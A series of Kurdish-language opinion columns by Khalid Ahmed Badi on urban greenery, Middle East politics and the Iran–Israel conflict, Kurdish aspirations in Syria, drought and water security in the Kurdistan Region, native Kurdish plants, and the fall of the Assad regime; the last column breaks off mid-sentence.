خـالـد ئـەحمەد بـادی

رامان و مانەیا پەیڤا باژار د هەمی فەرهەنگێن جیهانێ‌ دا، ئانكو ئەو جهە یێ‌ كو خەلك لێ‌ كۆمڤە دبن و مالێن خۆ دداننێ‌، ئانكو بۆ پەیڤا باژار مانایەكا دی فەرهەنگ ددەنە مە كو باژێر گوندەكێ‌ مەزنە و یێ‌ پڕە ژ مرۆڤان, هەر دیسا پەیڤا باژێر ئانكو جهەك یان دەڤەرەكە كو پتر مرۆڤ یان ئاكنجی و خانی پتر لێ‌ بن ژ گوندان یان باژێرك و باژێرۆكان, هەر دیسا فەرهەنگ رامانەكا دی ددەنە مە بۆ پەیڤا (city) ئانكو باژێر رامانەكا دی ددەت كو پەیڤا باژێر بۆ وی جهی دهاتە گۆتن و بكارئینان بۆ جهی دادپەروەری لێ‌ و ئاماژێ‌ ددەتە پەیڤا داد (justice)، ئەڤە دیاردكەت كو باژێر ئەو جهە یێ‌ ئیمناهی و ئارامی و دادپەروەری لێ‌ هەی، چونكو باژێر بارەگایێ‌ دەستهەلاتێ‌ یە و پتر باژێر یێ‌ پێشچاڤە. بێگومان هەمی مللەت و وەلات و حوكمەت زۆر پویتەیی ددەنە باژێر و باژێرۆكێن خۆ و هەر جهەك و لایەنەك پتر هەولان ددەت كو باژێرێ‌ خۆ پاقژ و جوان و خۆش بكەت، هەر دیسا بكەتە نموونە و ببیتە باژێرەكێ‌ گەشتیاری هەر دیسان باژێرەكی بازرگانی و دێ‌ ب چ رێك و شێوە باژێرێ‌ خۆ كەیە براند یان ژی كەیە پایتەختێ‌ هەر وارەكێ‌ بیت, مەرەما سەرەكی ژ ڤان پرس و بابەتان ئەوە كو دەمێ‌ مرۆڤ كارەكی دكەت ب دلسۆزی و وەفاداری بكەت و پاراستنا ژینگەه و جوانی وپاقژیا جهێ‌ خۆ نیشانا وەفاداری و دلسۆزیا تەیە بۆ وەلاتی. باژێر و باژێریبوون لسەر هندەك بنەمایێن گشتی دهێنە نیاسین وهەلسەنگاندن. ل زۆر وەلاتێن بیانی باژێرێن خۆ ب داروباران و كەسكاتی و باخچەیان و هەمی جۆرێن داران و جۆرێن گول و گولزاران دخەملینن و ئەڤ داروبارە و كەسكاتی دبیتە ئەگەرێ‌ ساخلەمی و جوانی و سەرەنج راكێشانا خەلكێن بیانی و خۆیی و هەروەسا دەڤەرێن چاندنێ‌ نابیت دەستكاری تێدا بهێتەكرن، هەروەسا ئەو دەڤەرێن چاندنێ‌ هێلا سۆرە ل دەف حوكمەتێن بیانی, لێ‌ جهێ‌ داخێ‌ یە كو ل پتریا وەلاتێن رۆژهەلاتا ناڤین و وەلاتێ‌ مە زۆر پویتەیی ب كەسكاتی و داروباران و گول و گیایی نادەن و ب تنێ‌ پویتەیی ب ئاڤاهییان و ئاڤاكرنێ‌ ددەن و ب تنێ‌ باژێرێن خۆ دكەنە باژێرێن بەران و سەببەیان و باژێر ل شوینا هینكاتی و تەزیێ‌ گەرم و دشاریێت و دبیتە ئەگەر كو پلێن گەرمایێ‌ زێدە ببن و ل زڤستانان ژی زۆر سار دبیت. ئەڤە پرسەكا ترسناكە و چارەسەری كو ب جدی و دلسۆزی و بەپرسیارانە لسەر ڤێ‌ پرسا گرنگ راوەستن وپارك و باخچە و جهێن زێدەتر ل ناڤ باژێران دا تەرخان بكەن و بلا باژێرێن مە ژی دجوان و ساخلەم و كەسك بن و داكو ژ باژێرێن بەر و كەڤران قورتال ببن.

خالد ئەحمەد بادی

ئەگەر پێداچوونەكێ‌ د بۆیەرێن ل ڤان داوییان دا بكەین یێن كو ل دەڤەرا رۆژهەلاتا ناڤەراست و وەلاتێن هەرێمی و یێن كەنداڤی و عەرەبی و ناڤدەولەتی پەیدا بووین، دێ‌ ئاماژەیێن وەسا دیاربن كو رەوشا گشتی هاتە گوهۆرین و لێكنێزیك بوون هاتنە دویركرن و لێكدویربوون هاتنە نێزیككرن. ئەگەر ب دووربینا سیاسی لێنێرینان لێ‌ بكەن، بێگومان دێ‌ وێنە و شێوەیێن سیاسی و گشتی پێڤە دیار بن و ئەگەر ئەم ب دۆربینا ئابووری لێ‌ بكەین و لێ‌ بنێرین دیسا دێ‌ پتر مەسەلێن ئابووری و دارایی و بەرژەوەندیێن تایبەت د چاڤكێن دۆربینێ‌ دا دیاربن و دێ‌ وان دیمەنێن دویر بۆ تە نێزیك كەت و دێ‌ ئاراستە هێنە دیاركرن. هەر ژ كەڤندا و بەردەوام مە گوهداریا رادیۆیێن (مۆنتی كارلۆ، بی بی سی، دەنگێ‌ ئەمریكا، ئێزگەهێ‌ دەنگێ‌ كوردستانێ‌، رادیۆیا ئیسرائیل.. هتد) و زۆر رادیۆیێن دی مە گوه لێ دبوون دبوون دەمێ‌ باسێ‌ شەر و جەنگ، هێرشێن ئیران، ئیسرائیل، فەلەستین، سووریا، لبنانێ‌، توركیا، ئیراق، ئەمریكا و كوێت، رۆسیا، باسێ‌ (شەرێ‌ ئیراق و ئیران، توركیا و ئیراق, سووریا و ئیراق .. مزارع شبعە، هەزبەت ئەلجۆلان, مخیم جنین, مخیم بیت حانوون, مخیم جبالیا و باژێرین ئۆرشلیم، قودس، غزە و بەیرۆت و حزبوللا و حماس و حركە ئەمەل, یاسر عەرەفات، حافز ئەلئەسەد, خومەینی, رەفیق ئەلحەریری سەدام حسین، تركۆت ئوزال، عسمەت ئینۆنۆ.. هتد) كو رۆژانە ئەڤ ناڤە و سەدان ناڤێن جه و كەسان د گوهێن مە دا بوون ل رادیۆیێن ل سەری مە باس كرین و ب تنێ‌ ئەڤ چیرۆك و دەنگوباس و سوحبەتە مانشێتێن سەرەكی بوون د هەمی درێژیێن دەنگوباسان دا و هەتا نوكە هەمی سیناریۆ و هەڤكێشە و ژێكنەگرتن و لێكنێزیك بوون و ژێكدویربوون و پاراستنا بەرژەوەندیێن تایبەت و گشتی هەر وەكی خۆ یێن ل دۆر هەڤدو زڤرن و جاران بەلانس بۆ لایەكی دكەڤیت و جاران ژی بۆ لایێ‌ دی دچیت و هەڤكێشە دهێتە گوهۆرین و رەهەندێن سیاسی، جڤاكی و ئابووری و دارایی بدوڤ خۆڤە دهێلیت. باسێ‌ مە ل ڤێرە ل دۆر وان بۆیەرانە یێن ل ڤێ‌ داویێ‌ پەیدا بووین ل رۆژهەلاتا ناڤەراست و ب دەستنیشانكرن ڤە ژی بۆیەرێن شەڕێ‌ ئیران و ئیسرائیلێ‌ دروست بوون، هەردیسا لڤینێن ئەمریكا جودا ویێن رۆسیا ژی جودا ل دەڤەرێ‌ و ب ڤەشارتی ڤە لڤینێن بریتانیا و پەیدابوونا شەری، بێگومان د بەرژەوەندیا لایەكی دا، دێ‌ بەلانسێ‌ بۆ دروست كەت و دێ‌ د بەرژەوەندیێ‌ دا بیت، هەروەسا دێ‌ بەلانس بۆ لایەكێ‌ دی ب خوسارەتی و بێ‌ مفا بیت و د بەرژەوەندیا لایەكێ‌ دی دا نابیت, لڤینێن ئیرانێ‌ و مایتێكرنێن ئیرانێ‌ د هەمی دەڤەرێ‌ دا زێدەبوون و ئیرانێ‌ یەمەن و بەحرین، لبنان و ل زۆر وەلاتێن دی رەوش تێكدا و مایتێكرن و رەوشا وان تێكدا ئیرانێ‌ ڤیایە كو هیلالا خۆ دروست بكەن و هەیمەنا خۆ لسەر هەمی وەلاتان دانن و بنەمایێن مەزن بۆ ئیمپراتوریەتا فارسی ئیرانی دانان، ژبەر ڤان زێدەگاڤیان ئەمریكا سنوورەك بۆ ئیرانێ‌ دانا، ئەوژی بۆیەرێن كوشتنا قاسم سولەیمانی بۆیەرێن دی ب دویڤدا هاتن، ئەو ژی كوشتنا حەسەن نەسروللا و زۆر سەركردەیین وان و ئەڤان كریارێن لەشكری پۆتێ‌ ئیرانێ‌ شكاند و ل سنۆرێ‌ وان راوەستاندن، ل دوماهیێ‌ پەیاما مە ئەوە كو پێداچوونێن سیاسی و گشتی بەردەوام هەبن، بلا ئاگەهداری بۆ هەر كارەكی هەبیت، ئومێدەوارین كو رەوشا دەڤەرێ‌ ئارامیێ‌ ب خۆڤە بگریت و كورد ژی هەناسەیێن بهێن ئازادی، فرەهیێ‌ بهەلكێشن دا كو ب مافێن خۆ شاد ببن.

خالد ئەحمەد بادی

هەردەم مللەتێ‌ كورد نە ب حەز و ڤیانێن خۆ كەفتیە ل بن كۆنترۆل و دەستهەلاتا لایەنەكی كو دوژمنێ‌ وی ب خۆیە و ل دژی مللەتێ‌ كورد كاردكەت و كارەسات و نەهامەت ب سەرێ‌ مللەتێ‌ كورد ئیناینە، د هەمی قۆناغێن ژیانێ‌ دا, لێ‌ ژ بەر كو مللەتێ‌ كورد مللەتەكێ‌ زیرەك و جوامێر و خۆرستی و دلسۆزە، لەوما هەردەم كەفتیە دبن دەستهەلاتا لایەنەكی ڤە كو ب راستی ئەو لایەن دوژمنێ‌ سەرەكی یێ‌ مللەتی یە, كوردستان و كوردستانییان هەردەم خەون و حەزێن هەمییان ب تنێ‌ ئاڤاكرن و دانانا دەولەتا ئێكگرتی یا كوردی یە، لێ‌ دوژمنان ژبەر ڤان چار پەیڤ و خالێن لسەری دیار كو جوامێری و زیرەكی و خورستی و دلسۆزییا كوردایە كورد گەهاندینە ڤان قۆناغان, بێگومان پتریا پەرتووك و ئینسكلۆپیدیا و نڤیسەر و رەوشنبیر و سیاسەتمەدارێن خۆیی و یێن جیهانی و یێن هەرێمی دبێژن كورد لسەر راستیێنە و مافێ‌ كوردایە دەولەتا خۆ هەبیت، چونكو هەمی مەرج و ماف ژێ‌ دگرن لێ‌ یێن بریار بدەست وە نابێژن یێن بڕیار بدەست دبێژن كورد وەلاتیێن سووری و ئیراقی و توركی و ئیرانی نە و هەردەم ب ئاگر و ئاسنی ل گەل كوردان دئاخڤن. بۆیەرێن ڤێ‌ داویێ‌ ل رۆژهەلاتا ناڤەراست دروست بووین و ب تایبەت سووریێ‌ و كەفتنا رژێما ئەسەدی زۆر راستی بۆ مە دیاركرن و سیناریۆیێن بەرچاڤ دیاربوون، هەروەسا دیار بوویە كو مینا كۆنترۆلی و ژ دویرڤەیی قادا خەباتێ‌ دەستكاری و كونترۆل یێ‌ ب ڤێ‌ یاریێ‌ دهێتەكرن و ژ نەبوونێ‌ هندەك ئینانە د هەبوونێ‌ دا، ئەڤە وێ‌ چەندێ‌ دیار دكەت كو یاری گەلەك یا مەزنە و یێن مەزن یێن یاریێ‌ دكەن. سەربارەت كوردان د ناڤا گۆرەپانا سووریێ‌ دا بەری دەمەكی سەرۆكێ‌ حوكمەتا هەرێما كوردستانێ‌ (مسرۆر بارزانی) سەرەدانا توركیا كر و رەجەب تەیب ئەردوگان دیت و گفتوگۆیا چەندین پرسان كر, و بەری ڤێ‌ سەرەدانی جەنابێ‌ سەرۆك (مسعود بارزانی) پێشوازی ل سەركردێ‌ قەسەدێ‌ (مەزلۆم عەبدی) ل هەڤلێرێ‌ كر پاشی ل داڤۆس سەرۆكێ‌ حوكمەتا هەرێما كوردستانی وەزیرێ‌ دەرڤەیێ‌ سووریایێ‌ (ئەسعەد ئەلشەیبانی) ل داڤۆس دیت و گفتوگۆ كرن و لسەر چەندین پرسێن گرێدایی رەوشا سووریا و كوردێن سووری كرن، هەروەسا سەردانا مەنسۆر بارزانی بۆ توركیا و دیتنا وەزیرێ‌ بەرگریێ‌ یەشار گۆیلەر دا و ئەڤە ژی ژبەر وێ‌ چەندێ‌ بوو كو لەشكرێ‌ رۆژ ب سەرفەرماندەییا وی ڤە یە وئەڤە وێ‌ چەندێ‌ دیار دكەت كو رێككەفتنامەكا ڤەشارتی یا هەیی لناڤبەرا كوردان ل هەرێما كوردستانێ‌ و توركیا و سووریایێ‌ سەبارەت رەوشا دەڤەرێ‌ و ب تایبەت بدەستڤەئینانا مافێن كوردان ل سووریێ‌ و ئارامكرنا رەوشا دەڤەرێ‌ ب گشتی. ژ بۆیەران وەسا دیارە خوارنەكا سیاسی و لەشكری یا ل سەر ئاگرەكێ‌ كێم و ئارام دهێتە كەلاندن و ئۆمێدەوارین كوردان ژی بەهر د ڤێ‌ خوارنا سیاسی یا ل سەر ئاگرێ‌ كێم و ئارام هەبیت و كورد نەمینن بێ‌ بەهر وەكو سال و چەرخێن بۆری.

خـالـد ئـەحمەد بـادی

2 ــــ 2

بۆ نموونە ل پارسال من گوه ل بهایێن ڤان تشتان بوون و دیتن كو بهایێ‌ سیسی یێ‌ ب (12,000) دوازدە هزار دیناران بوو ل چیایی و ل بازاڕی ب پتر ژ(30,000) سیه هزار دیناران بوو و نموونەكا دی بهایێ‌ كیلویا مازی یا تەر یا چیایێن سەربەرزێن كوردستانێ‌  ب بهایێ‌ ( 3,500) سێ‌ هزار و پێنچ سەد دیناران بوون و یێ‌ رۆژەكێ‌ ب تنێ‌ بچیتە مازییان دێ‌ پتر ژ 10 كیلۆیان كەت و تشتێ‌ سەرەنجراكێش لسەر ڤێ‌ چەندێ‌ كو هەر رۆژەكێ‌ دێ‌ چەند (كغم) مفاكەیی، ئانكو دێ‌ داهاتەكێ‌ باش بۆ تەهێت، بێ‌ هەمی خەرجیات و زەحمەت, ل ڤێرە ئەگەر ئەم هزركەین كو ئەڤ بەرهەمە هەمی ژ كوردستانێ‌ بەرهەم دهێن، بێگومان د ڤان سالێن دوماهیێ‌ دا و ب تایبەت د ئەڤ سالە دا رێژەیا باران بارینێ‌ نێزیكی سفڕێ‌ یە و ئەگەر ئەڤ بارانە نەبارن بێگومان دێ‌ رەوشا هەمی تشتەكی تێكچیت و زیانێن مەزن و خراب دێ‌ ب كوردستانێ‌ و كوردستانیان كەڤن. ل (22\3\2021) د راپۆرتەك و بەرنامەكێ‌ كەنالێ‌ (كوردستان 24) و (رووداوو) دا دیاركر، د ئەڤ سالە دا مەترسیەكا مەزن لسەر جیهانێ‌ و ئیراقێ‌ و هەرێما كوردستانێ‌ هەیە، ژ ئالیێ‌ كێم بارینا بەفر و بارانان ڤە كو ببیتە هشكە سالی و رەوش زۆر یا دیار و ئاشكەرایە كو سال بۆ سالێ‌ رێژەیا بارانبارینێ‌ كێمتر، لێ‌ دهێن و رێژا بەرفرەهبوونا ئاڤاكرن و چاندن و پێشەسازی و پێدڤییا جڤاكێن مرۆڤان لسەر ئاستێ‌ جیهانێ‌ ب ژێدەرێ‌ ئاڤێ‌ زێدەتر لێ‌ دهیت، چونكو رێژەیا مرۆڤان ل جیهانێ‌ ب گشتی زێدە دبیت و ئەڤ دیاردە یا زێدەبوونا مرۆڤان دێ‌ زۆر كارتێكرنێ‌ لسەر رەوشا جڤاكان كەت. زۆر ژێدەرێن جیهانی مینا رێكخراو یۆنسكۆ و (فاو) دبێژن ل سالا (2030) دێ‌ سالێن سەخت و دژوار و زۆر یا گران و نەخۆش بیت لسەر مرۆڤان، چونكو دێ‌ رێژەیا ئاڤێ‌ ل سەرتاسەرێ‌ جیهانێ‌ (40%) كێم بیت، ئانكو ل ڤی سەردەمی هندەك وەلاتێن جیهانێ‌؛ مینا وەلاتێن باشۆرێ‌ ئەڤریقییا و زۆر وەلاتان هشكەسالی یە، ئەگەر تو هزر و شلۆڤەكێ‌ بكەیی ل سالا (2030) ژ ڤی قەبارێ‌ هەی  (40%) كێم ببیت، دێ‌ رەوشا جیهانی و وان وەلاتان چ لێ‌ هێت. نوكە هەمی جیهان مژویلی بدەستڤەئینانا ژێدەرێن ئاڤێ‌ یە و ب دەهان پلانان دادنن و ب سەدان ڤەكۆلینان دكەن و ب ملیاران دۆلاران دمەزیخن ژبۆ پاراستنا ئاساییشا خۆ یا نەتەوەیی و خۆراكی و ئاڤێ‌, لەوما پەیاما من بۆ حوكمەتا هەرێمێ‌ ل سەر ڤێ‌ پرسا ترسناك رابوەستن و ئەو ژێدەرێن ئاڤێ‌ یێن مە هەیین بلا وەبەرهێنان بكەن بۆ كوردستانێ‌ و بەنداڤێن بچویك و مەزن چێكەن و كانی و رویباران بگرن و بكەن گۆم و پتر گرنگیێ‌ بدەنە دارچاندنێ‌ و دارستانان و كەرتێ‌ چاندنێ‌ كاڕا بكەن و بیرێن ئاڤێ‌ و كانی و رویبار و جۆكێن ئاڤێ‌ بۆ تاكان و كەسانێن خودان مەزرعە دچن لێ بگرن و ئاڤەكا كێم بدەنە وان و ئاڤا دی یا زێدە بۆ حوكمەتێ‌ وەبەرهێنان بكەن, ئەو ژێدەرێن ئاڤێ‌ یێن ژبەر دچن مینا رویباران بگرن یان ئاراستەیا وی بۆ ناڤ خاكا كوردستانێ‌ بزڤرینن, پیڤەرێن زیرەك بۆ ئاڤێ‌ دابنن چ بۆ مزرعەیێن تایبەت یان بۆ مال و كۆمپانی و جهێن ئۆتێل و هەمی جهان، داكو بتنێ‌ بەهرا خۆ یا بۆ پێدڤیێن وی بگەهیتێ‌ و بلا حوكمەتا مە هەمی رێكارێن یاسایی و كارگێری بگرنە بەر ژبۆ مفاوەرگرتن ژ ڤان ژێدەرێن مە ل كوردستانێ‌ هەیین و داكو ئەم ژی ئاساییشا خۆ یا نەتەوەیی و ئابۆری و خوراكی و ئاڤێ‌ و ئەمنی بپارێزین، هەر دیسا پێشنیار دكەم كو بادەكا ئاڤێ‌ دابنن ل سەر هەمی بادەكان ڤە و گرنگیەكا ئێكجار مەزن ب (ملف الما‌و) بدەن داكو تووشی وان گرفت و ئاریشەیان نەبین یێن كو مللەتێن جیهانی تووشبووین كو ئاڤا ڤەخوارنێ‌ نینە و ل زۆر وەلاتان خەلك ژ پیساتی و تێهنا دا گیانێ‌ خۆ ژدەستددەن، ل داویێ‌ دبێژم كوردستان ئاڤەدان بیت وپێشمەرگێ‌ مە پاراستی بیت وئالایێ‌ پیروزێ‌ كوردستانێ‌ هەر یێ‌ بەرز و بالا بیت.

خـالـد ئـەحمەد بـادی

1 ــــ 2

ئەگەر دوێربینا خۆ هەلبگرین و سەحكەینە بۆیەر و روودانێن بۆری یێن د ناڤبەرا چەرخ و قۆناغان دا ل كوردستانێ‌ پەیدابووین و ل ناڤەرۆكا وان رستە و پەیڤ و نڤێسینان دا بچینە خوارێ‌، دێ‌ زۆر راستی و دیرۆك و مێژوو تشتێن سەیر دێ‌ دیار بن یێن كو ژ ئالیێن جوداجودا یێن سروشتی و نەسروشتی ڤە, ئەگەر ل پاش خۆ بزڤرین و لێنێرینەكێ‌ ل دیرۆكا كوردستانێ‌ بكەین و سەحكەینە ژین و ژیارا كوردستانیان، دێ‌ بینین كو ل سەردەمێن بۆری كوردستان مینا سەبەتەكا خوارنێ‌ بوو یا پڕبوو ژ هەمی جۆرێن فێقی و دان و دكاكی و گل وگیایێن جۆراوجۆر و هەمی بەرهەمێن خومالی و یێن باش و ساخلەم و ب مفا كو گەلێ‌ كورد وكوردستانی مللەتەكێ‌ بەرهەمهێنەر و شارەزا و زیرەك و خۆڕستی بوون و سالانە ب هزاران هەمی جررێن گیایێن دێم و یێن ئاڤی و ب سەدان جۆرێن فێقی و زەرزەواتی و ب سەدان جۆرێن دانویلە و دان و دكاك و جۆرێن وێ‌ دهاتنە بەرهەمئینان و فرۆتن, كو ئەو بەرهەمێن خومالی تێرا تاكێ‌ كورد و خێزانا وی ژی دكر، هەروەسا بەشەك ژ ڤان بەرهەمێن خومالی دهاتە فرۆتن و مفایێن مەزن یێن داڕایی ژێ‌ دهاتنەكرن, ئانكو وەكی مە ئاماژە پێ‌ دای كو كوردستان مینا (ســـــــــــــــلة غذائية) بوو ئانكو سەبەتەكا خوارنێ‌ بوو. ل هندەك جاران بۆیەرێن نەچاڤەرێكری بەرەف مللەت و وەلات و حوكمەتان ڤە دهێن؛ كو ژبەر زرر ئەگەران چ یێن سروشتی بن یان نەسروشتی یان ژی ئەگەرێن پەیدابوونا شەڕ و جەنگ و ئاوارەیێ‌ یان ژی ئەگەرێن لافاو و بیڤەرلەز و باهۆز و بارۆڤەیێن هەوایی و بابەلیسكێن بهێز یان ژی ڤۆلكان و هشكەسالی و زۆر پرس و ئەگەرێن دی. ل ڤێرە دێ‌ باسێ‌ مە ل دۆر هشكەسالیێ‌ بیت و كێمبوون و نەهاتنا بەفر و بارانان ل سەر ئاستێ‌ جیهانی و هەروەسا هەرێمی و پرسا مە یا ل دۆر ئەوێ‌ چەندێ‌ بیت كو پشتبەستیا هەرێما كوردستانێ‌ لسەر چاندنێ‌ و ژێدەرێن ئاڤێ‌ و پێدڤی و كەلوپەلێن ناڤخۆیی و خوەزایی و مفای ژێ‌ وەرگرتن و وەلاتێ‌ مە كوردستان یا زەنگینە ب هەمی جۆرێن دار و گیا و گول و بەرهەم و دارێن بەرهەمهێنەر و دارێن دی مینا (دار بەڕی، دارا كەڤۆت، مازی، دیندار، كەزان، بێمك، گوهیشك، هەلهەلۆك، چنار، كوروسك، هژیر، باهیڤ، زەیتوون و یێن ئاڤی خۆخ و مشمش و ب دەهان جۆرێن سێڤا و دەهان جۆرێن تری، حلیك، گێلاس، گویز، هرمیك، هژیر، ئالو بالو، فستەق و ب دەهان جۆرێن دی و ..هتد. هەروەسا زۆر جۆرێن گل وگیایێن دی ژی هەنە ل كوردستانێ‌ مینا (سیسی، توفك، تولك، سێ‌ بسك، پیڤاز، لیش، شیركتك، قوراد، سیر، كەنگر، كیزرك، كێلیك، كەڤلەپیر، ترشۆك، قیڤار، پیڤۆك، شەپرزە، پیز، پێ‌ گورگ، كیزماز، پینگ، پێ‌ مریشك، پتاتۆشك، دومبەلان، سۆڕیاز، رێڤاس، پێرپوینە، سبت، كاری، كەلەندور، جاترك، خەندەلك، گیازاڤاك، گێژنك، پێرپینە، كەڤلەپیر،باییك، هەلز، سپنگ، گیا عەرەبك، باییك، بێزا، بیتانۆك، بەلالیسك یان بابەلیسك، بیك، كەلەندۆر، سەركولافك یان كفارك، پیشۆك، ب دەهان جۆرێن دی و هتد. ئەگەر ئەم بنڤێسین دێ‌ دەهان لاپەڕ تژی بن ژ ئاڤ و شێوە و رەنگێ‌ ڤان جۆرە گیایێن ناڤخۆی ئانكو خۆ ب خۆیی و كوردستانی. ئەگەر ئەم نڤێسینەكێ‌ یان ڤەكۆلینەكێ‌ دورست بكەین لسەر وان داهاتیێن ژ بەرهەمێن خوەزایێن كوردستانێ‌ بەرهەمدهیێن دێ‌ بینین ئەگەر ئەڤ بەرهەمێن پەروە و بێ‌ زەحمەت دێ‌ بنە ب بهایێ‌ ملیارێن دۆلاران, هەر ژ كەڤن دا مللەتێ‌ كورد بتنێ‌ ژین و ژیارا وانان لسەر ڤان بەرهەمان بوون.

خالد ئه‌حمه‌د بادى
د ده‌مێ هزرێ د ئاڤاكرنا وه‌لاته‌كى دا بكه‌ی یان هزر د سه‌ره‌ده‌رى و سیسته‌م و سیاسه‌تا وى ده‌ستهه‌لات و ده‌ستهه‌لاتدارى دا بكه‌یى، دێ زۆر رسته‌ و په‌یڤ و مانه‌ و ڕاڤه‌ دیاربن, كه‌سایه‌تیا هه‌ر ده‌ستهه‌لاتداره‌كى دێ دیاربیت كو ب چ شێواز و رێك سه‌رده‌رى كرى یه‌ و ب بۆرینا چه‌ندین سالان كو كورسیكا خۆ پاوانكرییه‌ د ماوه‌یێ پاوانكرنا كورسیكا خۆ دا هه‌مى هه‌ولدان كرینه‌ كو خه‌لكێ خۆ وه‌كى خۆلێ بكه‌ت, ئانكو د كریاره‌كا فه‌لسه‌فى و هزرى دا، ئه‌و سیاسه‌تا د ده‌ستهه‌لاتداریا خۆ دا ئه‌نجامدایى بێگومان دێ ل سه‌ر ملله‌تێ خۆ ژى په‌یروه‌ كه‌ت, د ماوه‌یێ پتر ژ پێنجى و چار سالێن ده‌ستهه‌لاتداری یا بنه‌مالا ئه‌سه‌دێ دكتاتۆر دا شیاینه‌ مێشكێ تاكێ سوورى پڕ بكه‌ت ژ هزروبیرێن خۆ یێن ڤایرۆسى و توندره‌و و شیان كارتێكرنێ لسه‌ر وه‌لاتیێ سوورى بكه‌ت كو مینا كونترۆله‌كى د ده‌ستێن ده‌ستهه‌لاتێ دا بن، ئانكو د ده‌ستێن بنه‌مالا ئه‌سه‌دى دا بن و ل ڤێره‌ مه‌ره‌ما مه‌ ئه‌ڤه‌یه‌ ل ئیراق و سووریێ و هه‌مى وه‌لاتێن ده‌ستهه‌لاتێ وان دكتاتۆرى سوپایه‌ك دروستكربوون ژ جاش و كرێگرتى، شه‌بیحه‌، هه‌والگه‌رى، ئاساییش، حرس جمهۆرى، ساڤاك، میت و زۆر ناڤێن دى كو مینا گورگێن ده‌ڤ بخۆین هۆڤ زولم و سته‌م ل ملله‌تێن خۆ و خه‌لكه‌كێ سڤیل و بێگونه‌ه دكرن. نه‌هامه‌تێن گه‌لێ سوورى هه‌ر ژ كه‌ڤن دا ژ بنه‌مالا ئه‌سه‌دى دیتین و ل ده‌مێ هاتیه‌ سه‌ر ده‌ستهه‌لاتى ل سالا (1970) ژ لایێ حافز ئه‌سه‌دى ڤه‌ كو پشتى كۆده‌تایه‌كا له‌شكرى ئه‌نجامدایى ل دژى هه‌ڤالێن خۆ یێن نێزیك و هه‌تا نوكه‌ زۆرن و ب هه‌مى ره‌نگان ئه‌سه‌دى ملله‌تێ خۆ دهێلانه‌ برسى و زیندان دكرن و كورد بێ به‌هركربوون ژ ناسنامێ و مینا وه‌لاتیێن پله‌ (10) ژى نه‌دهژمارتن. ل (30) نۆڤه‌مبه‌رێ، ئانكو هه‌یڤا چریا ئێكێ یا سالا (2024) هێزێن ئۆپوزسیۆنا سوورى ب سه‌ركێشییا ده‌سته‌یا ئازادكرنا شامێ و خه‌لك و ملله‌تێن سوورى لڤینێن باش بله‌زكرن و ئه‌ندام دا و به‌ره‌ف (حماه‌) ڤه‌ و پاشى هه‌مى ده‌ڤه‌رێن سووریێ ئازادكرن و زۆر تشتێن حێبه‌تى و د هه‌تا كو هزركرن د خه‌یالا دا نه‌ دهاته‌كرن ئه‌و زیندانێن كو ب هزاران خه‌لكێ بێگونه‌ه د ژۆر ڤه‌ كو هنده‌ك ژ وانان نه‌ دزانى كو ده‌ستهه‌لات یێ هاتیه‌ گوهۆرین و حافز ئه‌سه‌د یێ مرى, ب هزاران زیندانێن مه‌زن و گرتیخانێن نهێنى ل سووریێ هه‌بووینه‌ د ده‌مێ ده‌ستهه‌لاتێ، بنه‌مالا ئه‌سه‌دى دا كو ژ وان زیندانا سیدنایا و زیندانا عه‌درا ل گونده‌وارێ دیمه‌شقێ و زیندانا ئه‌دلب و هه‌ر باژێره‌كى زیندانا خۆ یا تایبه‌ت هه‌بوو و راپۆرتێن (un) دیاركریه‌ كو یێن د زیندانێن سووریێ دا یێن د به‌رزه‌ پترن ژ (130) هزار زیندانى. دكتاتۆر كه‌فت و رژێما شێرێ بێ زه‌نگل ره‌ڤى و شێر بۆ رویڤى و لڤێره‌ دێ بۆ مه‌ دیاربیت كو پرسێن مه‌زهه‌بى و نه‌ته‌وه‌یى و به‌رژه‌وه‌ندیێن وه‌لاتێن زلهێز و یێن هه‌رێمى و ئوپوزسیۆنا سوورى و لایه‌نێن كورد دێ چ ئاراسته‌ و سیاسه‌ت و سیناریۆ هه‌بن, ب بۆچوونا من ئه‌و ته‌قن پتر بیته‌ ته‌قنه‌كا چڕتر و دێ ره‌وش مینا ئیراق و لیبیا و وه‌لاتێن دى خراپتر لێ هێت و ئارێشه‌ نه‌دوێره‌ دایه‌ كو دكتاتۆره‌ك چوو ئاریشه‌ ئه‌ڤه‌ یێن هاتین و ده‌ستهه‌لات وه‌رگرتى ل سووریێ زۆر خرابترن و هه‌ر ئه‌و بوون یێن لبه‌ر په‌روه‌رده‌یا بشار و حاڤز و سه‌دام و حه‌سه‌ن نه‌سروللا و خومه‌ینى و ره‌فسه‌نجانى و قائانى و قاسم سلێمانى و نه‌جاتى و سیستانى و ئه‌ردۆغانى و مه‌حمه‌د جۆلانى و.. هتد. كو ب راستى ئه‌ڤه‌ هه‌ر ئه‌ون یێن ئه‌ڤه‌ مامۆستایێن وان و دێ بیته‌ مه‌ترسى ل سه‌ر هه‌مى ده‌ڤه‌رێ. بلا هه‌مى ل سه‌ر مێزه‌كا بازنه‌یى روینن و بلا به‌رژه‌وه‌ندیا وه‌لاتێ خۆ ل به‌ر چاڤ وه‌رگرن و بلا هه‌مى دكتاتۆرێن رۆخیایین ببنه‌ عیبره‌ت بۆ وانان و بلا هه‌ڤالینى و براینى و ئێكگرتنێ په‌یروه‌ بكه‌ن دا سه‌ربكه‌ڤن.

خالد ئه‌حمه‌د بادى
زۆر جاران مرۆڤ بهایێ ده‌لیڤه‌كێ نزانیت هه‌تا كو بۆ مرۆڤى دبیته‌ بیرهاتن و جاران ژى مرۆڤ بهایێ كه‌سه‌كى یان كۆمه‌ك و گرۆپه‌كى نزانیت هه‌تا دمریت و په‌شیمانێ وى گرۆپ و مرۆڤى دبیت, ژبۆ ملله‌ت و كه‌س و جڤاكان ژى ده‌لیڤه‌یێن زێرین دروست بووینه‌، هنده‌ك ژ وان ئه‌و ده‌لیڤه‌ بۆ خوه‌ ب ده‌رفه‌ت زانییه‌ و په‌یه‌وكرینه‌ و مفا ژێ دیتیه‌، هنده‌كان ژى ب ده‌لیڤه‌ نه‌دیت, بێگومان ملله‌تێ كورد زۆر ده‌لیڤه‌ دیتینه‌، لێ ژده‌ستداینه‌ و ئه‌گه‌ر ژى دپێشچاڤن و به‌رژه‌وه‌ندیێن تایبه‌تێن زلهێزانن, هه‌رده‌م ملله‌تێ كورد د كاڤلوژانكێ توندی و ئه‌شكه‌نجه‌ و زولم و سته‌ما دوژمنان و هه‌مى حوكمه‌تێن ئیراقێ دا هه‌رده‌م ئه‌ورێن ره‌ش و تارى ل شوینا به‌فر په‌رمیچكێن به‌فرا سپى لسه‌ر كوردان باراندبان؛ په‌رمیچكێن به‌فرا ره‌ش لسه‌ر كوردان 